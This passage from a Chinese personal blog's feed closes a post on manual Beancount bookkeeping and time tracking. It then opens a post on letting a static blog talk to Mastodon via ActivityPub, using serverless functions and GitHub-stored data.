&lt;p&gt;现在基本只有用现金、借钱时会在一周内手动录入。刷卡交易则是几个月集中记一次：用字符串拼接的方式把银行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打印成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;格式，然后手动把输出复制回账本，再改一改错误。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;为了内心平静而记录&quot;&gt;为了内心平静而记录&lt;&#x2F;h3&gt;
&lt;p&gt;有人喜欢搞全自动导入，我倒是喜欢花一点时间在上面。因为人活着就要消费，记录消费和写日记有很大的相似性（我会在交易的详情里面回忆当时的情景&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。所以半自动地导入交易也能让我感到平静。我怀疑这件事情某种程度上来说算是做瑜伽。换掉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后我仍然不会追求全自动导入。&lt;&#x2F;p&gt;
&lt;p&gt;但我最近开始思考起这个目的是不是本末倒置：如果因为记账像是写日记所以开始记账，那我为什么不直接写日记？我翻了下日记得出的初步答案是：写日记想说的话太多了，记账比写日记轻松。话又说回来，理想情况下记账还是应该&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#%E4%B8%BA%E4%BA%86%E5%88%86%E6%9E%90%E8%80%8C%E8%AE%B0%E5%BD%95&quot;&gt;为了分析而记录&lt;&#x2F;a&gt;——感觉自己好矛盾。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;个人记账和公司记账是两码事&quot;&gt;个人记账和公司记账是两码事&lt;&#x2F;h3&gt;
&lt;p&gt;我刚开始记账时十分纠结什么方式才是对的：比如各种点数要记录么？真的要把借别人的钱和对方借我的钱分成两个账户么？但后来发现税务局不会敲我家门查我的私人账本，所以说自己记账想怎么来怎么来，只要软件不报错就行。你关注到什么粒度，就记录到什么粒度——比如我就不记点数，花点数时直接把支出记成去掉点数的金额。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;计时&quot;&gt;计时&lt;&#x2F;h2&gt;
&lt;p&gt;终于谈到计时了，其实这是我最不知所措的领域。前面谈的记笔记和记账虽然没找到满意的方案，但现有方案大致能用，而计时我是真的不知道该怎么办。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;为了分析而记录&quot;&gt;为了分析而记录&lt;&#x2F;h3&gt;
&lt;p&gt;金钱消费是离散的，所以容易决定记录的粒度：一笔交易就记一次；时间消费是连续且重叠的：某一时刻我眼睛望向显示器，手上捧着正在读的书，脑袋里想着晚饭的事，我该怎么记录这一刻、上一秒、下一分钟？如果不决定计时的粒度是什么，就没法开始记录。而我认为这个粒度应当由事后的分析来决定，因为我&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;vita-brevis&#x2F;#%E8%AE%B0%E5%BD%95%E8%87%AA%E5%B7%B1%E7%9A%84%E7%94%9F%E6%B4%BB&quot;&gt;用过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;toggl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;计时，但后来发现我不分析用时，就放弃计时了。&lt;&#x2F;a&gt;为了分析而计时，一是让计时有意义，二是解答了如何计时。&lt;&#x2F;p&gt;
&lt;p&gt;其实，一切的记录都可以说成是为了分析而记录。因为记录就是产生数据，而数据只有被分析才有价值。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;从简单的分析入手&quot;&gt;从简单的分析入手&lt;&#x2F;h3&gt;
&lt;p&gt;我认为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;toggl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;功能太杂也是我没继续用它计时的原因之一。另外我的统计学得很差：说要分析，可能也就画几个图直观感受下时间花在哪，而得不出什么更深的教训。所以我认为想要重新开始计时的话，还应该从简单的记录与分析入手。目前我能想出两个简单的分析目标：看闲书时每千字要花多久（只记录书的开始和结束，包括没在看那本书的时间&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;、每多少分钟喝&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;500mL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;水。&lt;&#x2F;p&gt;
&lt;p&gt;这两者都可以再牵扯到别的因素，比如书的类别和评价、在家办公和上办公室的喝水速度区别……不过刚开始我还是想排除它们，即使这样只能给自己一个数字而得不到相关性。因为上来就把各种因素都考虑进来，我可能直接因为懒的缘故不干了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;为什么非得计时&quot;&gt;为什么非得计时&lt;&#x2F;h3&gt;
&lt;p&gt;你看，我明明没坚持下来计时，也不善于分析数据，为什么还要死乞白赖地再次开始计时？因为时间相比金钱还要有限，所以我不想让它们轻易流走，我得让它们有个理由——还得是正当理由。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;tracking-and-note-taking
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;tracking-and-note-taking&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    



&lt;br &#x2F;&gt;
&lt;details open announces&gt;
    &lt;summary&gt;


一人转发：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;social.dm4.tw&amp;#x2F;users&amp;#x2F;dm4&quot;&gt;










dm4&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>静态博客也能和Mastodon沟通</title>
    <published>2023-02-10T11:17:44+00:00</published>
    <updated>2023-08-02T23:51:53+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/activitypub-for-static-blog/" type="text/html" />
    <id>https://emptystack.top/activitypub-for-static-blog/</id>
    <content type="html">
      &lt;p&gt;前段时间看到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;lawrenceli.me&#x2F;blog&#x2F;activitypub&quot;&gt;一篇名为《ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;协议的简单实现》的博客&lt;&#x2F;a&gt;，发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比想象中的简单，就动了自己也写一个的念头。&lt;&#x2F;p&gt;
&lt;p&gt;现在大家可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上搜索&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;@actor@emptystack.top&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找到我的博客。关注博客后，会收到嘟文形式的更新通知。点赞或评论嘟文，都会显示到对应博文的网页底部。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2023-02-10 112138-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2023-02-10 112138-fs8.png&quot;
	alt=&quot;actor&quot;
	height=&quot;487&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;和来自别的实例的嘟文一样，往期博文不会自动出现在你的实例上。如果想评论往期博文，也可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上用网址搜索——只要在域名和路径之间加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;strong&gt;&lt;code&gt;&#x2F;note&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;即可。比如这篇博文的地址是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&lt;&#x2F;code&gt;，那么就可以使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;https:&#x2F;&#x2F;emptystack.top&lt;&#x2F;code&gt;&lt;strong&gt;&lt;code&gt;&#x2F;note&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;code&gt;&#x2F;activitypub-for-static-blog&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;搜索出来。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2023-02-10 193326-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2023-02-10 193326-fs8.png&quot;
	alt=&quot;note&quot;
	height=&quot;554&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这篇只写实现时想说的话，很少涉及代码。如果相比文字更喜欢看代码的话，可以去看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sinofp&#x2F;lesspub&quot;&gt;LessPub&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#怎么做&quot;&gt;怎么做&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#静态博客与ActivityPub八字不合&quot;&gt;静态博客与ActivityPub八字不合&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#Serverless_Functions来救场&quot;&gt;Serverless Functions来救场&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#数据怎么存&quot;&gt;数据怎么存&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#静态博客如何更新评论&quot;&gt;静态博客如何更新评论&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#哪些功能不需要动用Serverless_Functions&quot;&gt;哪些功能不需要动用Serverless Functions&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#实现&quot;&gt;实现&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#教程推荐&quot;&gt;教程推荐&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#获取来自Mastodon的Activity&quot;&gt;获取来自Mastodon的Activity&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#遇到的问题&quot;&gt;遇到的问题&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;#个人博客_&gt;_Mastodon&quot;&gt;个人博客 &gt; Mastodon&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;怎么做&quot;&gt;怎么做&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;静态博客与ActivityPub八字不合&quot;&gt;静态博客与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;八字不合&lt;&#x2F;h3&gt;
&lt;p&gt;静态博客就是一些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件。这些文件只能被动地被下载（响应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTTP
GET&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;请求&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，而无法主动地向别人发送通知（发送&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTTP
POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;请求&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，也没法根据别人的请求而改变（响应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTTP
POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;请求&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则期望你主动向别人&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自己的新信息，并且能够处理别人&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来的信息。这也是浏览别的实例用户时会碰到“不会显示来自其他服务器的更早的嘟文”的原因——你的实例没人关注对方，对方就不会主动把消息&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到你的实例。&lt;&#x2F;p&gt;
&lt;p&gt;静态，就意味着只能被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GET；ActivityPub，就意味着要互相&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST。可以说静态和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是对立的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Serverless_Functions来救场&quot;&gt;Serverless Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来救场&lt;&#x2F;h3&gt;
&lt;p&gt;处理&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;请求需要服务器，但我不想为静态博客维护服务器。因为我选择静态博客很大原因是图个省心：更新完就睡大觉，让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来替我构建、分发。要是让我为博客配一台服务器，那这个博客本身也没必要静态了。&lt;&#x2F;p&gt;
&lt;p&gt;如果想要服务器运行程序，但又不想自己维护服务器，那可以直接用别人的服务器。Vercel、CloudFlare、Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都有各自的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;服务：只要我写的程序里暴露一个特定签名的函数来处理各种&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTTP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;请求，它们就会替我在服务器里运行这个程序。也就是说，我的静态博客可以借助&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的力量向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实例&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新通知、处理从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实例&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来的回复和点赞&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的思路大概是二〇年就有人提出了。我则是看了文首提到的博客后，才知道可以这么做的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;数据怎么存&quot;&gt;数据怎么存&lt;&#x2F;h3&gt;
&lt;p&gt;很好，既然有免费且省心的机器执行我的代码了，那么接下来的问题是：谁来存我的数据？&lt;&#x2F;p&gt;
&lt;p&gt;如果想要实现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话，需要记录我发了什么、谁关注了我、谁向我的哪条信息回复了什么等等。而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只管执行代码，我得另寻他处存放上述数据。&lt;&#x2F;p&gt;
&lt;p&gt;第一种选择是&lt;ruby&gt;自建&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;selfhost&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;数据库。这样的好处是数据都在自己手里，但缺点就是：如果我自建数据库了，何必还要用别人的服务器？如果不用别人的服务器，何必还要用静态博客？最后一定会滑坡到手搓自己的博客系统——在绝望的深渊里永无天日地对着只有一个人用的博客生成器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;yak
shaving。&lt;&#x2F;p&gt;
&lt;p&gt;那么，看来万万不能自建数据库了，第二种选择是什么呢？是继续使用托管商提供的免费数据库。很遗憾，我使用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;没有数据库服务——CloudFlare&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;倒是有，但貌似得把整个博客给他们托管才能用。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;paul.kinlan.me&#x2F;adding-activity-pub-to-your-static-site&#x2F;&quot;&gt;有人用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vercel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;&#x2F;a&gt;，他用的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Firebase，因为“it&#x27;s
pretty simple, has a good client and can store JSON
directly&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;Firebase&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看起来确实是不错的选择，但是我有账号洁癖，需要花几年才能下定决心注册一个新的账号——Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也类似，我大概一六&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一七年左右就开始听说它，直到几个月前才注册。所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Firebase&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;虽好，我也得等几年才会用它。&lt;&#x2F;p&gt;
&lt;p&gt;不自己建数据库、不用别人的数据库，我该怎么存数据？答案是：不用数据库，直接把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JSON-LD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以文本形式存在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上。这样做的坏处太多了，写不下。但是挺有趣的，为什么不试试呢？&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;first-saved-collection-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;first-saved-collection-fs8.png&quot;
	alt=&quot;测试机存下的第一条数据&quot;
	height=&quot;352&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;静态博客如何更新评论&quot;&gt;静态博客如何更新评论&lt;&#x2F;h3&gt;
&lt;p&gt;有些“静态”博客在读者的浏览器里运行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来获取评论。我个人很讨厌&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript，所以想避开它，让博客在构建时把评论直接嵌进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里。这样做的问题是每次有新的评论就得把博客重新构建一遍——问题是：我怎么知道何时有新的评论？&lt;&#x2F;p&gt;
&lt;p&gt;每次有新的评论，Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就会把评论存进托管在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的仓库里。GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会通知&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仓库有变动，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在得知后就会自动重新构建博客。&lt;&#x2F;p&gt;
&lt;p&gt;啊，虽然很恶心，但是我感到舒服。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;哪些功能不需要动用Serverless_Functions&quot;&gt;哪些功能不需要动用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless Functions&lt;&#x2F;h3&gt;
&lt;p&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的弊端是不好调试。而且虽然免费方案给了充足的资源，但还是有限。另外，使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
Functions&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;造成的延迟也是不可忽略的。所以我尽量不依赖它。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;设置Content-Type&quot;&gt;设置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Content-Type&lt;&#x2F;h4&gt;
&lt;p&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要求把相关文件的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Content-Type
Header&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;设置成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;application&#x2F;activity+json&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;其实更正确的应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;application&#x2F;ld+json; profile=&quot;https:&#x2F;&#x2F;www.w3.org&#x2F;ns&#x2F;activitystreams&quot;&lt;&#x2F;code&gt;，但大家都直接用它的简写。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;ruby&gt;有些平台&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Vercel&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Header&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Serverless
